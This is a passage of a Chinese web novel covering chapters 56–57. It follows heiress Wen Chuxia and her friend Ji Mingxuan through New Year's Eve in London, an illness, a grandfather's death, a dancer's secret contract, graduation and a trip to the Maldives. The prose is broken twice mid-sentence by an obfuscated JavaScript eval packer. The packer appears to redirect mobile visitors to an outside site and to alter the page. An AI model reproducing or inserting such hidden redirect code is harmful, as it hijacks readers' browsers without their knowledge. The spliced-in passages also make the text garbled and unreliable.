“我去怎么了?刀有没有伤到你?”听到动静,季明轩忙绕到温初夏身边,弯腰看她穿着毛绒拖鞋的脚,发现无论是鞋还是脚都完好无损。 “吓死我了。” 他长舒一口气,不敢再让大小姐干活,忙推她去沙发坐着,又把草莓端过去,道:“你在这儿等吃就行。饿了吧?先吃点儿水果垫吧一下,我很快弄好。” 通话挂断。 酒店套房。 周雅宜把手机两手捧在胸前,看着李确的神色不知为何有些沉重。 “我觉得还是先别告诉他们比较好。” “嗯。”李确走到周雅宜面前,轻轻抱住她,安抚地一下下揉着后脑勺柔顺的长发,“虽然时准是抢救成功了,但目前还没有完全脱离生命危险,是应该先瞒着他们。” “你说……”周雅宜把眼埋在李确的肩膀边,颤抖的声音带着明显的哭腔: “时准他其实是不是想自杀?我一年多前就觉得他的状态很不对劲,我感觉到了但我不敢问他。我想如果、如果我这段时间多关心关心他,或者把他不对劲的事告诉林姨和叔叔,他是不是就不会……” “雅宜。”李确打断她,“这件事和你没有任何关系,千万不要把原因归咎在自己身上。” “好在时准是抢救回来了,或许一会儿,我们可以在他醒来之后,问一问他。” “嗯,你说得对。” 周雅宜轻轻挣脱开李确的怀抱,用力吸吸鼻子,擦干眼泪,旋即,又扬起一抹苦涩的笑: “但我觉得,以他的性格,是不会把心里话告诉任何人的。” 56. 第 56 章 铜锅边缘凝着半圈牛油,暗红色的汤底咕嘟咕嘟吐着泡,花椒与干辣椒在气泡中沉浮,白菜帮子吸饱了汤汁,半透明的叶片挂着油花,已经煮的快化了。 大理石圆形餐桌中央放着电磁炉,盘子里的菜品几乎都只涮了一半,桌下的垃圾桶被空啤酒罐填满。 显然,二人都高估了他们的饭量,而低估了借酒消愁的欲望,胃里大半空间被酒水占去,但都不算醉,只是听着锅里沸腾的声音,相顾无言地发着呆。 “哈哈哈哈……” 温初夏两脚踩在板凳边缘,忽然笑起来,酒饱饭足过后的声音有些憨憨:“去照照镜子吧亲,你脸红的像刚从锅里捞出来的一样。” 季明轩酒量还行,但属于一喝就上脸的类型。 再加上这段时间,他狂抹有美白功效的护肤品,皮肤变白后,看起来就更明显了,跟煮熟的虾子一样。 闻言,季明轩手背贴了贴脸颊,在室内暖气开到23℃的情况下都觉得有些烫,不用照镜子,他也知道自己现在脸有多红,于是踩上拖鞋去阳台,打开窗户,想通过吹冷风降降温。 结果发现,今夜伦敦的天气竟意外的柔和,虽然依旧很冷,但罕见地没有起妖风,也没有下雪。 并且因为是跨年夜的缘故,哪怕现在都十一点多了,街上还有许多人在闲逛,安全感和松弛感都拉满,有种梦回国内的感觉。 “诶,温初夏。”季明轩关上窗户,回头说:“我们出去逛逛吧,听说伦敦之眼零点的时候有烟花秀,一年就跨一次年,该有的仪式感还是得有啊。” “出去可以,但烟花秀还是免了吧。” 温初夏喝掉最后一口啤酒,把易拉罐甩进垃圾桶,相比于季明轩的苹果脸,她要面不红心不跳得多,回忆道: “我去年看过,人巨多无比,比国庆期间的天安门还要挤,而且我的Tiffany项链还不知道被哪个王八羔子给扯走了,反正这辈子都不想再去第二回了。” “那就不去伦敦之眼吧,换个地方。” 季明轩也不喜欢挤来挤去的地方,还容易有踩踏事故的危险,反正他的目的只是想出去散散步、消消食。 去哪儿不重要,重要的是陪在身边的人。 季明轩想了想,说:“要不去你学校?来伦敦这么久了,我还没去逛过呢。” 温初夏挑起一边眉:“我学校有什么好逛的啊,而且现在这么晚,里面说不定连路灯都……” “因为学校里人少还安全嘛。” 季明轩走过来:“就这么愉快的决定了,锅留着我回来再收拾。你,现在立刻马上,回房间换衣服,穿暖和一点啊,再敢只穿两件,腿打断。赶紧gogogo速度速度速度……” 五分钟后,温初夏裹着一件长至小腿肚的黑色羽绒服,拉链一路拉到下巴,把整段脖子包得严严实实,深棕色长发用大号鲨鱼夹盘在脑后。 如此朴素的穿搭,和她平常时尚弄潮儿的人设简直是一个天上,一个地下。 “这下够暖和了吧?”温初夏的耐心即将消耗殆尽,“我都要出汗了!” 季明轩却紧盯着她的微喇牛仔裤,表情怀疑:“你里面确定穿秋裤了?”怎么看起来还是细的跟杆似的。 温初夏深吸一口气,强忍住揍人的念头,无可奈何地把裤脚拉起来一点,露出里面的粉条纹秋裤,瞪道:“麻烦睁大您的狗眼看清楚。” “嗯,看到了,两只狗眼都看到了。”季明轩满意地点点头,转身从下午的购物袋里拿出一双手套来,“提前送你的新年礼物,戴上吧。” “你什么时候买的???” “当你在水产区玩波士顿龙虾的时候。” “……这颜色好丑,像屎。” “你色盲啊?这明明是奶!酪!黄!” “管它什么黄,反正我不要戴,丑死了。” …… 三分钟后,温初夏两手黄黄地出门了。 深冬时节,夜幕笼罩下的大学校园显示出别样的静谧与庄重。 头顶,铅灰色的天空早已被浓稠的夜色浸染,只有几颗星子在云层间隙若隐若现,和城市璀璨的灯火比起来,要相形见绌不少。 这个点,虽然偶尔能看见有学生从身边经过,但无一不是面色憔悴或者行色匆匆,肩上挎着容量很大的沉甸甸的包,显然是刚从图书馆出来,被学习吸干了精血。 “就说你的想法很奇葩吧。”温初夏呵气成雾,胳膊抱在胸前,走路时羽绒服摩擦发出细微声响,“大半夜的校园有什么好逛的?” 空气又湿又冷,让季明轩红苹果的脸蛋变回了正常状态,声音也清亮,说:“我觉得很好逛啊。” 走着走着,两人拐进一条不算宽敞的河边小道,季明轩的左边是温初夏,右边是一片草全部枯掉的斜堤,斜堤之下,尚未结冰的小河在静静流淌。 很隐秘,很安逸。 除了鼻子呼吸进冷空气有点痛之外,其余的一切都堪称完美。 如此美妙的夜晚,如果不谈点什么有意义的话题,那就太浪费了。 “等毕业之后,你打算做什么?”季明轩问。 温初夏答得很快:“还能做什么,回国继承家业呗。” 更重要的,是要完成给霸总文男主当舔狗的宏伟大计,以及找女主麻烦、虐女主、挑拨男女主的感情关系,最后,罪有应得地光荣嗝屁。 “你呢?”温初夏也问。 “我……”季明轩想了想,“应该也会回国吧,但具体想做什么还不知道,我得好好考虑考虑。” “你不是独生子吗。” “是啊。独生子怎么了?” “那你还考虑什么?你和我一样,都没有选择的权利。” “哪儿的事,别这么悲观好不好。” 季明轩瞥她一眼,分析起来: “你之所以想回去继承家业,是因为你有个私生子弟弟,导致你从小危机感就很重。但其实,你也可以选择你做喜欢的事情啊,干嘛非要把自己束缚在一条固定的航线上。” “像周雅宜,她家庭状况和你差不多,当初报专业的时候全家都劝她学金融学金融,特别是我大姨。但她偏不,非要选自己感兴趣的历史,现在每天上课娱乐谈恋爱,过得可开心了。” “再说了,”季明轩莫名笃定,“我觉得相比于金钱,你肯定还是更喜欢自由。” 温初夏笑:“何以见得?你又不是我肚子里的蛔虫,万一我就是更喜欢金钱呢。” “凭你高中单靠奖学金也能生活得很好,你就不可能更喜欢金钱啊。”季明轩一副很了解她的样子,然后话锋一转:“而且我感觉你那个弟弟,其实挺亲你的。” “每当逢年过节,还有你生日,他都要给你打电话或者发祝福短信——刚才咱俩涮火锅的时候,那个电话应该也是他打的吧?国内当时都凌晨三四点了,人小孩儿还熬夜给你送祝福,说明他是真的挺关心你的。” “一般亲妈生的亲弟弟都做不到这么用心,你也大人有大量点嘛,别老是对孩子那么淡漠,总冷着屁股,再热的脸也贴不长久啊。”季明轩好言相劝。 温初夏:“……你这什么破比喻。” 她懒得跟在完美家庭里长大的孩子,掰扯自己家的那些糟心事,遂闭上嘴,不再说话。 安静的空气在二人之间流淌,气氛虽沉默,但并不尴尬。 走出一段路后,季明轩又开口: “你知道吗,这是我第一次在海外跨年,也是第一次没有和家里人一起跨年。” “哟,想家啦?”温初夏松开抱着的胳膊,很大度地说:“想哭就哭吧,本小姐可以假装没听见。” “是吗?”声音没有半点儿哭腔,而是硬邦邦的:“那你掏手机干什么?” “……”感受到身边人的目光,温初夏伸进兜里的手僵住,然后故作淡定地抽出来,摁亮屏幕看了眼,又放回去,言之凿凿:“少度君子之腹,我是为了看时间好吗。” 季明轩心说小人不和君子计较,问:“现在几点?” “11点59。还有不到一分钟,就是新的一年了。” “那一会儿放烟花的时候,咱俩一起许个愿呗。”他突发此想,“这种特殊时刻许的愿,通常都会比较灵验吧?” “……” 温初夏的脚步渐渐停住。 脑海里冷不丁响起两个声音—— “好无聊啊,我们来玩个游戏呗。” “什么?” “马上就要零点了,到时候这附近应该会放烟花。现在开始,我们每人轮流说一个愿望,不能随便说,要特别真心实意的那种,比比看谁运气够好,在烟花响起的瞬间说出愿望的人,对方要帮他实现。” …… “我什么都不缺,不需要许愿。” 没有未来的人生,就算许了愿也没用。 撂下这句话,温初夏快步向前走去,把不知道她为什么忽然生气、丈二摸不着头脑的季明轩远远甩在身后。 季明轩从懵逼中回神,喊道:“欸!” 但这一嗓子不仅没能把人叫住,对方反倒还加了速,黑色羽绒服的背影就快与远方的黑夜融为一体了。 季明轩立马慌了,扬声威胁:“温初夏,你要是再不回来,信不信我现在立刻马上跳河里?冻坏了你负责啊!” “腿长在你身上,你爱跳不跳关我屁事?”话虽如此,温初夏还是停下脚,垂头闭上眼,心里重重叹了口气—— 真是越活越回去了,和无关的人发什么脾气?他又什么都不知道。 别把他当做情绪的垃圾桶,这既不公平,还很残忍。 不要这样,千万不要这样…… 无声地反复告诫自己四五遍,直到终于把外泄的坏情绪分毫不差地藏进心底,温初夏转回身,刚好这时,到零点了—— 大本钟的第十二声钟鸣撞碎夜的寂静,紧接着,墨蓝的天幕之下忽地腾起一串翡翠色的星子。 它挣脱河面倒影的束缚,带着哨音般的锐响直刺向苍穹,在到达最高点时骤然炸开。 银白的火星四处迸射,将天空点亮,转而又化作千万条金红色的游鱼,甩动着流光溢彩的尾鳍,坠入白腾腾的硝烟之中,漂亮极了。 伴随着烟花的爆响,模糊热闹的欢呼从远处传来,连冰凉的空气好像都变温暖。 “温初夏——”季明轩夸张地挥动着双臂,脸上的笑容哪怕隔了十多米都能清晰看见。他站在小河边,拖着嗓子大声喊道: “新年快乐——你一定会自由的——” “噗嗤。”温初夏被他的傻样逗乐,忍不住笑起来时,眼底瞬间变得湿乎乎的。 她两手放在嘴边当喇叭,也大声对季明轩说:“你也是啊,新年快乐——” 季明轩完全没想到温初夏会以同样的方式回应自己,一瞬间,心里也升起绚烂的烟火,像是平安夜过后从床头的袜子里拿出礼物的孩子,拆开包装,发现礼物正是他所梦寐以求的。 然而美好心情还没持续两秒,他就因为挥手幅度过大,身体一晃,脚下又因为分心而没有站稳,于是非常丝滑地,顺着斜堤,摔进了河里,“噗哗——” 公寓。 “我靠,39度3?!” 温初夏放下温度计,膝盖压在床边,弯腰啪啪拍了两下枕头上潮红的脸颊,语气有些急:“你真的发烧了,快别睡了,起来,我们去医院挂急诊。” 季明轩刚喝了两袋退烧冲剂,又被塞了一把退烧药,现在脑袋昏昏沉沉只想睡觉。 闻言,他嘴里嘟哝了句“不去”,连眼皮都没掀开一点。也不知道有意还是无意,脑袋往右偏,压住了温初夏的手。 “你……”温初夏把手抽出,没好气道:“你就不怕脑子烧傻了啊?醒醒醒醒醒醒……” 她直接捏住季明轩的鼻子:我就不信了,叫不醒你? “嗯。”几秒后,季明轩皱眉挣开温初夏的手,虚浮的眼神呆愣愣地看着一脸担忧的女生,然后—— “阿嚏!” 温初夏躲避不及,甚至还来不及屏住呼吸,就被喷了一脸均匀的口水。她手背抹了嘴,一把揪住季明轩的衣领,想把这不听话的倒霉孩子拉起来。 但因为体型悬殊太大,她没能成功,而对方居然又睡过去了,眼皮沉沉地闭上,连句道歉也没有。 “……” 得得得,算算算。 温初夏离开自己的床,退居到旁边的小沙发上,扯出张湿巾擦脸。 就让他睡吧。她想,现在是凌晨的一点四十,如果明早他还没退烧的,再带他去医院也不迟。 新年第一天,清晨。 明媚的阳光大摇大摆地透过窗帘缝隙,溜进卧室,把床上的人晃醒。 醒来后,季明轩并没有立刻睁眼,而是先闻到了一股熟悉的香味。 是……温初夏发丝的味道。 他翻了个身,把鼻尖埋进柔软的枕头,深吸一口气,胸膛鼓得涨涨的,却舍不得吐出,刚退烧不久的身体又开始发烫。 好香,好好闻…… 沉迷地吸了好几口,脑子终于慢半拍地升起一个问号:我现在是在自己家吗? 季明轩抬起头,睁开眼,看见了沙发上的人不安稳的睡颜,脑袋歪在肩膀上,身上盖着一层薄薄的毛毯,眉心轻折,双颊泛着不正常的红晕,散发出明显的病气。 某人退烧了。 但某人,却被传染了。 “大小姐,我求你了,就喝口药吧。” 季明轩端着温热的马克杯,里面是泡好的退烧冲剂,插着吸管,单膝跪在床边,急的要死:“你又不愿意测体温,又不愿意喝药,又不愿意去医院——你说,你到底想怎么样?我都给你跪下了!” 皱成一团的被子之下,传来温初夏沉闷但倔犟的声音: “谁让你昨晚那么对我的。” “我错了我错了我错了,重要的事情说三遍,你大人不计小人过,原谅我好不好?”季明轩光速滑跪,苦苦哀求: “昨晚我真的是因为太困了,所以才没理你的。而且我喝了药啊,只是没去医院而已,今天一早烧就退了,说明你给我买的药还挺有效果的,你也喝点吧,不然病怎么好啊?” 鼓起的被子包:“不要,你好烦啊啊啊啊啊。” …… 小学鸡斗嘴了许久,温初夏才最终松口吃了药,没一会儿就昏沉沉睡过去。 看着她恬静的睡颜,季明轩伸手,把肩膀处的被子掖得更紧一些,然后,坐到昨晚温初夏呆的单人沙发上,好好品尝这独一无二的时刻,连手机都不想看。 虽然他平均每周会来温初夏的公寓两次,但却是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温初夏转头,看见一个金发蓝眼的高大白男在和季明轩打招呼,目光扫过自己时,对方挑眉,八卦地问:“这是你女朋友吗,sopretty,你俩是不是在约会?” “No。”季明轩笑着摇头,解释:“她是我的女、朋友,不是女朋友。” “哦,我懂我懂。对了,你作业完成得怎么样?” “不怎么样,太难了,感觉最后会做出来一坨shit。” “我也是,真不明白老师为什么要布置这么难的任务给我们,我都想放弃这一门的学分了。” …… 他们聊天中途,温初夏手机响了,于是出咖啡厅接电话。 “喂,怎么了?突然打电话过来。” 结果那头传来周雅宜哽咽的声音:“呜呜怎么办啊温初夏,李确的爷爷两个小时之前去世了。他现在整个人精神状态特别差,跟丢了魂一样,话也不说,水也不喝。我心里好慌,不知道要怎么办,只能打电话给你……” 温初夏:??!!! 1107死啦?! 不,准确来说,应该是下线才对。 乍一听到这个消息,温初夏也实打实地懵住了。 她以为1107这么疼李确,虽然角色年龄七老八十活不了太长时间,但至少也应该等到李确成家立业,甚至是抱上曾孙再“撒手人寰”啊。 怎么这么快就走了呢?还挑在李确即将毕业的节骨眼上?有点不符合逻辑啊。 “你也知道。”周雅宜抽抽搭搭地继续,“李确从小就只有他爷爷这一个亲人,现在他也离世了,还这么突然,李确受到的打击不知道有多大,我都担心死了,但又不知道该怎么帮他……” “等等,我能问一下吗。”温初夏打断,“李确他爷爷是怎么死的?生病还是意外?” “都不是。”周雅宜吸吸鼻子,“医生判定说是自然死亡,走的时候没遭一点儿罪,是在睡梦中断气的,算是最舒服的一种死法了。” “……哦,这样啊。”温初夏抱着胳膊,迈开步子,往泰晤士河边走去。 “我觉得,你也不用过于担心。”她沉默了会儿,说:“李确他是个很独立很稳重的人,唯一的亲人离世对他的打击确实会很大,但不至于把他击垮。你说他现在状态不对,大概是因为这件事发生得太突然了,他还有些无法接受。” “不过人都走了,说再多安慰的话其实也无济于事。要我说,你不如就一直陪在李确身边吧,少说话,多做事,帮他一起处理爷爷的后事,提醒他按时吃饭按时睡觉。但如果他不想吃你也别逼他,如果他想一个人静静,你就给他私人空间。这种情况,默默的支持和陪伴才是最好的良药。” 又叮嘱了周雅宜几句,电话挂断。 温初夏沿着河畔步道慢慢前行,低头继续看手机,微风吹动她微卷的发丝,带有河水特有的湿润气息。 步道旁,是一排郁郁葱葱的绿植,垂柳依依,细长的柳枝垂落在水面,随着微风轻轻摆动。 果不其然,她翻到了一条匿名短信,发送时间是今天上午的11点07分—— 【我走了,以后江湖有缘再见,byebye大闺女[爱心]】 如此诙谐轻松的语气,温初夏想笑却笑不出来。 她停下脚步,心脏被一种难以言状的孤独感包围,让她有些喘不过气。 这时,手里的机身又震动了两下—— 季明轩:【你去哪儿了?咖啡厅外没看见你人影】 季明轩:【是不是刚才我同学的话冒犯到你了?如果是,那我替他向你道歉,他不是故意的,就是随口一说,你别放在心上】 大拇指点开输入框,键盘弹了出来。 温初夏正要打字回复,但不知为何,又莫名放弃了,而是直接打去了语音电话。 “喂。” “喂,你在哪儿啊?”季明轩忙道。 温初夏答非所问:“你最近头发是不是又长了啊。” “啊?”电话那头懵了一瞬,老实回答:“是有一点,快挡眼睛了。” 温初夏:“那一会儿回去了,我帮你剪吧。” “行啊。”闻言,某人瞬间开朗,好奇地问:“平时都是我求着你帮我剪,今天怎么这么反常?” “因为今天我太无聊了,想找点儿事干。” . S市。 星梦剧院刚刚结束今天的最后一场演出,热闹的化妆间里,所有舞者都在慢悠悠地解头发、换衣服,唯独一人的动作,显得格外着急。 有人开玩笑问:“江以沫,你这么着急干嘛呀?一会儿是要去赶飞机吗?” “不,是要去见人。” 江以沫用直板夹把头发拉直,梳了梳,然后从化妆桶里抽出一根棕色的眼线胶笔,对着镜子,鼓起卧蚕,在左眼下方卧蚕阴影线的中间位置,细致地点上一点,又速度飞快地补了下妆。 一切搞定之后,她便急匆匆地离开了。 “她是要去见什么人啊?” “不知道,没听她说过。但应该不是男朋友吧,否则不至于急成这样。” “诶诶,大家听我说。” 一个坐在红皮凳上的女人向周围人招招手,小声八卦道: “我昨天彩排的时候,听见江以沫在和一个声音很好听的男人打电话,话里谈到了什么‘条件’、‘价格’,而且对方还说:‘我的耐心有限,你要是不愿意,那就算了’,你们说她会不会是……” 57. 第 57 章 半小时后。 出租车滑停在一家私人会所门口,江以沫深吸一口气,链条包挎在右肩,从后排下了车。 浓黑的夜色中,玻璃幕墙外的鎏金LOGO泛着冷光,高跟鞋轻声进入旋转门,脚下的水波纹大理石地砖一尘不染,仿佛流动的镜面。 室内放着轻柔的音乐,江以沫被侍应生引至二楼,黑檀木桌后的丝绒沙发上,坐着一个年轻男人。 他垂眸看了下腕表,皮肤是近乎病态的白,乌羽般的睫毛在眼下遮挡出一片阴影,冷淡的声音听不出喜怒:“你迟到了五分钟。” 江以沫本想在对面的位置坐下,一听这话,瞬间愣住,右手下意识抓住皮包,喉咙紧绷地道歉:“抱歉,我坐出租来的,路上有点堵,中途还转了两站地铁……” “没关系,坐吧。” 男人抬眸,垂落的手仿佛削去冗赘的修竹,骨节把薄透的皮肤勾勒出冷冽的折线,青色血管潜伏其中,似冰下溪流,又似水苍玉的裂纹。 如同他这个人一样:冷漠、矜贵、深不可测。 他问:“既然你愿意来和我见面,想必是同意合作了?” 从第一次见面起,男人始终是这副公事公办的语气和态度,带来安全感的同时,又让人忍不住心生畏惧。 江以沫谨小慎微地坐下,“嗯”了一声。 她的坐姿很拘谨,双腿并拢,手放在膝盖上,屁股只占沙发的前四分之一,略微低着头,紧张的情绪根本无法掩饰。 因为她知道,今晚,将是自己人生的转折点。 一旦迈出这一步,从此就再也回不了头了。 但,为了病榻上的奶奶,她别无选择,只能这么做。 察觉到男人正盯着自己的脸看,虽然并不是那种下流玩味的目光,而是包含着浓浓的审视和评判,但江以沫还是忍不住将头继续埋得更低,心乱如麻。 直到对方皱眉:“你胆子很小吗?” “啊?”像溺水者被拉出水面,江以沫倏地抬起头,睁大圆眼看着他,眼睫微颤,“我……” 她想说自己胆子不小,只是有些紧张而已,但解释的话还未出口,就被男人打断—— “有空可以多去鬼屋练一练胆,你要模仿的人从不会露出这样战战兢兢的表情。还有……” “什么?”江以沫屏住呼吸。 “你泪痣点的地方不够精准,应该要再往左挪2-2.5毫米才对。” “……好。”严格。 江以沫有些汗流浃背。 安静的空气中,男人将檀木桌上的一份文件推至她面前,笔头朝向她,道:“既然决定了,那就签吧。” 江以沫接过很有分量的钢笔,感觉自己的心脏也同这支笔一样沉重,化作锚链,将她拖入危机四伏的无边深海,永不能再上岸。 真的,要签吗? 江以沫拔出笔帽,落笔之前,谨慎地再确认最后一遍:“你答应我的那几个条件……” “说到做到。”男人给她吃了一颗定心丸,“今天下午,你奶奶就已经转到了VIP病房。有专业的护工24小时贴身照护,主治医师也换成了全国最好的肿瘤科医生之一,姓卢,相信你应该对他有所耳闻。” “嗯。”江以沫握紧笔杆。 何止是有所耳闻,S市最权威的肿瘤医生,早在两年前奶奶刚生病的时候,她就想给奶奶挂卢医生的号,但因为没钱没人脉,所以一直不行。 没有到两年后的今天,他居然成了奶奶的主治医生。 人生可真奇妙。 只要出卖自我,就能让她唯一的亲人度过一个安稳许多的晚年,并且,还能让自己摆脱现在入不敷出、负债累累的窘境。 江以沫忽然觉得,这笔买卖其实很划算。 如果连最基本的生存都成了大问题,那么脸面、尊严、礼仪、廉耻……这些既不能当饭吃,也不能当钱花的玩意儿,通通只能算是束缚的牢笼。 她不再犹豫,落笔,流利地签上自己的姓名。 “对了,有个问题我想问很久了。”江以沫放下钢笔。 下定决心后,她的坐姿放松了许多,肩膀不再僵得跟衣架一样,看向男人的目光也不再闪躲,“你想让我搞定的人,到底是谁啊?” “峯汇区首富傅家的独子,兼光梭科技的CEO,同时还是和盛世集团温家大小姐从小订了娃娃亲的未婚夫,傅怀瑾。” …… “很好,大家保持这个姿势不要动,三、二、一——” “茄子!” 季明轩放下相机,冲穿着学士服的女生们比了个“OK”的手势,意思是这个背景就拍到这里,可以转战去下一个地方了。 温初夏摘掉头顶的帽子,一边走,一边往脸上扇风,酸痛的苹果肌早在镜头移开的瞬间就扁了回去,整个人又累又热,不想说话。 但她身边,肤色各异的女同学却都在精力旺盛地说说笑笑: “中文发音可真难,我刚才说对了吗?‘qiezi’?” “哈哈哈哈,听起来像chess。” “无所谓啦,反正都是食物。” “果然亚洲人比较会拍照,你刚才看到了吗,Jack把我们拍得真棒,我敢说,他简直能去当专业摄影师了!” …… 什么专业啊?温初夏心中暗暗发笑。 季明轩的拍照技术,是他这周抱着相机拍了近万张照片,突击进修出来的。 而一周之前,他还是个会把一米八拍成一米五的神人。 “Hey。”忽然,一只手落在她肩膀。 温初夏侧目,看见Monica走到自己身边,学士帽的穗子很明显地晃了一下,鼻翼处的棕色粉底有轻微脱妆,但总体来说还是相当漂亮。 不是那种五官皮肤样样精致的漂亮,而是一种敏捷的、睿智的、理性且富含生命力的美。 “其实一开始,我是非常不想和你一起拍毕业照。”Monica连说了三个very,语气却是淡淡的,彰显出强烈的嘲讽。 温初夏:? 她本来就和这帮子所谓的同学不熟,也没在学校留下过什么美好难忘的回忆,临近毕业,脑子里根本没有拍毕业照的计划。 如果不是季明轩非让她拍,说是想让他攒钱买的相机发挥自出厂以来的第一次作用,温初夏才不想大夏天在太阳底下,穿着吸热的黑色学士服,和一群看上去关系很好,实则连朋友都算不上的陌生人拍照。 “无所谓。”温初夏冷冷一笑,不屑一顾:“因为我毫不在意你的想法。” “谁不是呢。”同样,Monica也不在意温初夏究竟想不想听,用只有她们两人能听见的音量,自顾自地继续说下去—— “实话告诉你吧,大一那年,我匿名检举过你很多次,理由是你天天逃课,考勤合格全靠找人代签。但,也不知道你家到底给学校捐了几栋楼,每次举报到最后居然都不了了之了,搞得我只好放弃,不再举报你。” 她刻薄道:“我真的很看不上你这种人,仗着家里有几个臭钱,就敢肆无忌惮地在世界顶尖大学里当混子。有段时间,我经常诅咒你出门掉井盖里,但想来应该是没有应验,毕竟你的腿没断过。” 温初夏心说:不,断过的,还是两回。 只不过两回都在国内,很遗憾你没有看到我打石膏的模样,真不好意思呢,嘻嘻。 “但,不得不说……”Monica抱起胳膊,目光落到在前面带路的季明轩身上,话锋一转:“你挑男朋友的眼光还挺不错的。这次要不是他提前请我们这些女生喝了一个月的奶茶,还看了两场音乐剧,我们才不会乐意和你一起拍毕业照。” 心中阴阳怪气的声音瞬间消失,温初夏懵住:“Wait,你在开玩笑吧?” 她太过震惊,以至于忘了解释季明轩其实不是自己男朋友。 得知她居然不知道这事,Monica也有些惊讶,但没有透露更多细节,只是衷心劝告:“对他好些吧,不要总是一副冷冰冰的态度。Heissocute,sopleasedon’tmakehimsad,okay?” 说完,Monica再次不轻不重地拍拍她的肩,走到人群的另一边去了。 温初夏:“……” 她心里真堵得慌。 . 九月初,毕业典礼结束。 温初夏还没接到可以回国的信号,又不想继续呆在伦敦,迎接即将到来的雨季,于是订了去马尔代夫的机票,她亲爱的妈咪宫羽斓就在那里度假。 下旬,希思罗机场。 唯一来给她送行的人,毫无悬念是季明轩。 “这次打算呆多久?” “不知道。” 温初夏说的是实话,系统没有发出霸总文剧情线开启的通知,她既不能回国,又找不到事干,大概得在马代发很长一段时间的霉。 不过海岛的阳光一般比较灿烂,应该也发不了霉。 “那往后一年之内,你还会回伦敦吗?”季明轩问。 “不会。”这个问题温初夏倒能确定,“公寓都退掉了,里面的东西也搬空了,等在马尔代夫呆腻之后,我会直接回国。” 季明轩认真地点头:“好。” 好什么呀? 温初夏觉得他的表情有些好笑,下意识勾起唇,反应过来后,又赶紧把嘴角压下去,心想: 感觉和季明轩这个二货相处久了,自己的笑点都变奇怪了,得赶紧纠正过来才行。 要知道,女二的人设可是的目空一切、情绪阴晴不定的恶毒女,笑点这么低可不行。 飞机起飞之前,温初夏看了眼微信,发现温景澈在五分钟前给她发了消息,问她中秋或者国庆是否回国,他会亲自来机场接她。 自从毕业之后,这小子总是三天两头地在微信上问她什么时候回国,搞得温初夏烦不胜烦,拉黑过他好几次。 但每次不出半天,温汝峰就会一个跨洋电话打过来,耳提面命地让她把温景澈从小黑屋里放出来,说弟弟只是想她关心她,以后不准再这样做,一家人应该亲亲热热、和和气气的才对。 温初夏靠坐在头等舱宽敞舒适的座位上,削微翻了个白眼,单手打字:【近期没有回国计划,少问少烦少打听】 还配了个手拿血淋淋尖刀的表情包。 打发完熊孩子后,大拇指顺着消息列表飞快往下滑,停在一个很久没有联系的深色头像上。 点进去,最后一条消息是4年前的6月21号,那个时候,宋云泽刚在朋友圈官宣了他俩要一起出国留学的消息,不出十分钟,祝福和调侃便挤满了评论区。 就在那时,她收到了时准的消息:【我在你家楼外,能见面聊一聊吗?】 但温初夏没有理会。 从此,两人便彻底断了联络。 四年时间,对温初夏来讲当然不算长,甚至可以说是转瞬即逝,毕竟作为守护者,她已经不知道在万千界面里度过了多少个“四年”。 但她由衷希望,这四年对时准来说足够漫长,让他能将自己忘得一干二净无影无踪片甲不留,日后哪怕不小心偶遇上了,也会把她当做空气一样,无视路过。 经过近12小时的飞行,第二天下午,航班降落在了维拉纳国际机场。 “妈咪——!” 一见面,温初夏就飞奔向宫羽斓,张开双手,要给她一个爱的抱抱。惨遭“抛弃”的行李箱迅速落入助理手中。 “我的宝贝,你终于来了,妈妈想死你了!”宫羽斓摘掉墨镜,拥住许久未见的女儿,臂膀竟意外的很有力,想来平时是没少健身撸铁做运动。 并且气色也是十分的好,看上去比每天朝九晚五上班的年轻白领还要更有活力,果然无忧无虑日子顺心才是最好的抗老秘诀。 松开后,宫羽斓先是仔细端详温初夏精致漂亮的小脸,慈爱地揉了揉,目光又移到她的右腿上,关切地问:“刚才跑这么快,脚痛不痛?” “不痛。”温初夏挽住她的胳膊,“稍微跑一跑不碍事的,只要不去跑八百一千马拉松就没问题。我每隔半年就会去医院复查一次,医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781690|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说恢复得不错。” “那就好。”宫羽斓把墨镜交给助理,“五年前你二次受伤的时候,你爸居然敢不在第一时间通知我,直到你快好了终于才跟我说——他就是怕我一听到你出事的消息,会立刻回国,搅了他的清静。” 一提到温汝峰,宫羽斓语气就变得不太好。 “其实那次的事也不能怪爸爸,是我自己太任性,非要参加长跑比赛,所以才摔了的。”温初夏笑笑,挽着宫羽斓往出口走,上了一辆商务车,然后乘水上飞机前往度假村的酒店。 九月末,马尔代夫仍处于夏天,但又没有盛夏的时候那么燥。 日均30来度的气温、灿烂的阳光、烫脚的沙滩、碧蓝的果冻海……让岛屿变成一片梦幻的室外桃园。 生活在这里,就算遇到再倒霉的事,产生的坏心情也会因为四周的美景色而迅速消散,除非是—— “站着。” 温初夏刚从海滩刚冲完浪回来,踩着人字拖,鱼骨辫的尾巴还在不断滴水,亮色冲浪板夹在身侧。 她走到一位穿花衬衫五分裤的年轻男人面前,冷脸伸出手:“给我。” “什么?”对方停下脚步,将墨镜撂至头顶,两条眉毛高高扬起,眼神无比清澈无辜。 演技不错,装傻充愣得很专业。 温初夏冷哼一声,看了眼他手里的佳能,直接强抢过来,转身拔出SD卡,然后把相机干脆利落地扔进了旁边的喷泉池。 水花四溅,男人当即变了脸色,不再吊儿郎当:“欸你……” “你的偷拍技术不太合适干这行,刚才一进大堂,我就发现你了。”温初夏懒懒地打断他,垂眸看着夹在指尖的黑色小卡片,微凉的语气充满了嘲讽。 她建议说:“下次‘出摊’之前,记得多带些设备,这样哪怕一个报废了,剩下的还能接着用,不至于空手而归,对不对?” “……” 